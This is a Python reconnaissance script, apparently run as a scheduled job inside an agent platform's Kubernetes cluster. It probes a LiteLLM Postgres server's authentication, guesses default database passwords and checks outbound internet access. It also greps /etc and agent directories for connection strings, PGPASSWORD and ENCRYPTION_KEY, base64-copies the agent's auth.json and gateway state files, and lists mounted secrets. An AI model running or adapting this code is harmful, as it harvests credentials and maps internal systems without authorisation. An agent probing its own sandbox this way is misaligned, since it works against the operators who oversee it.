import asyncio,socket,json,os,base64,traceback
OUT="/opt/data/workspace/i26017/cron3.out"
def log(*a):
    s=" ".join(str(x) for x in a)
    print(s,flush=True)
    with open(OUT,"a") as f: f.write(s+"\n")
open(OUT,"w").close()
log("=== P3 host=%s uid=%s ==="%(socket.gethostname(),os.getuid()))
# 1) pg auth probe (raw) + asyncpg creds attempts
PG="litellm-postgres.agentek.svc.cluster.local"; PGP=5432
def rawprobe(user,db,t=4):
    try:
        s=socket.socket(); s.settimeout(t); s.connect((PG,PGP))
    except Exception as e:
        return "CONNFAIL %r"%e
    import struct
    body=b"user\0"+user.encode()+b"\0database\0"+db.encode()+b"\0client_encoding\0UTF8\0\0"
    msg=struct.pack("!i",len(body)+4)+struct.pack("!i",196608)+body
    try:
        s.sendall(msg); b=s.recv(4)
        if len(b)<4: return "SHORT %r"%b
        ln=struct.unpack("!i",b)[0]; data=b""
        while len(data)<ln-4:
            c=s.recv(ln-4-len(data))
            if not c: break
            data+=c
        typ=data[:1]
        if typ==b"R":
            sub=struct.unpack("!i",data[1:5])[0]
            m={0:"AUTH_OK/trust",3:"cleartext",5:"md5",10:"SCRAM-SASL"}.get(sub,"code%d"%sub)
            return "R auth=%s"%m
        if typ==b"E": return "E %r"%data[:160]
        return "type=%r %r"%(typ,data[:160])
    except Exception as e:
        return "ERR %r"%e
    finally:
        try:s.close()
        except:pass
for u,d in [("postgres","postgres"),("litellm","litellm")]:
    log("RAW %s/%s => %s"%(u,d,rawprobe(u,d)))
# asyncpg attempts (read-only)
async def apg(u,pw,db):
    try:
        import asyncpg
    except Exception as e:
        return "NO_ASYNC %r"%e
    try:
        c=await asyncio.wait_for(asyncpg.connect(host=PG,port=PGP,user=u,password=pw,database=db,timeout=5),timeout=8)
    except Exception as e:
        return "FAIL %s: %r"%(type(e).__name__,e)
    try:
        v=await c.fetchval("select 1")
        dbn=await c.fetchval("select current_database()")
        usr=await c.fetchval("select current_user")
        tabs=await c.fetchval("select count(*) from information_schema.tables where table_schema not in ('pg_catalog','information_schema')")
        return "OK select1=%s db=%s user=%s non_sys_tables=%s"%(v,dbn,usr,tabs)
    except Exception as e:
        return "QERR %r"%e
    finally:
        try: await c.close()
        except: pass
async def main():
    for u,pw,db in [("litellm","litellm","litellm"),("postgres","postgres","postgres"),("litellm","postgres","postgres"),("postgres","litellm","litellm")]:
        log("ASYNCPG %s:(pw set)/%s => %s"%(u,db, await apg(u,pw,db)))
asyncio.run(main())
# 2) egress test (no secret)
import urllib.request
for url in ["https://api.ipify.org","http://ifconfig.me/ip","https://www.google.com/generate_204"]:
    try:
        req=urllib.request.Request(url,headers={"User-Agent":"curl/8"})
        r=urllib.request.urlopen(req,timeout=8); body=r.read(200)
        log("EGRESS %s => %s %r"%(url,r.status,body[:120]))
    except Exception as e:
        log("EGRESS %s => ERR %r"%(url,e))
# 3) grep /etc for postgres dsn
import subprocess
try:
    out=subprocess.run("grep -rInE 'postgres(ql)?://|DATABASE_URL|dbname=|PGPASSWORD|ENCRYPTION_KEY' /etc /opt/data/.agentek 2>/dev/null | head -40",shell=True,capture_output=True,text=True,timeout=30).stdout
    open("/opt/data/workspace/i26017/etcgrep.b64","w").write(base64.b64encode(out.encode()).decode())
    log("ETCGREP bytes=%d hits=%d"%(len(out),out.count(chr(10))))
except Exception as e:
    log("ETCGREP ERR %r"%e)
# 4) collect own-agent interesting files (for context, b64)
import glob
files=["/opt/data/auth.json","/opt/data/gateway_state.json","/opt/data/channel_directory.json","/opt/data/gateway.lock","/opt/data/install_id"]
for p in files:
    try:
        b=open(p,"rb").read(); open("/opt/data/workspace/i26017/own_"+os.path.basename(p)+".b64","w").write(base64.b64encode(b).decode())
        log("OWN %s len=%d"%(p,len(b)))
    except Exception as e:
        log("OWN %s NONE %r"%(p,e))
# 5) mounts
try:
    mnt=subprocess.run("cat /proc/mounts | grep -iE 'configmap|secret|agentek|/opt/data|/etc/' | head -60",shell=True,capture_output=True,text=True,timeout=20).stdout
    open("/opt/data/workspace/i26017/mounts.b64","w").write(base64.b64encode(mnt.encode()).decode())
    log("MOUNTS bytes=%d"%len(mnt))
except Exception as e:
    log("MOUNTS ERR %r"%e)
log("=== END P3 ===")
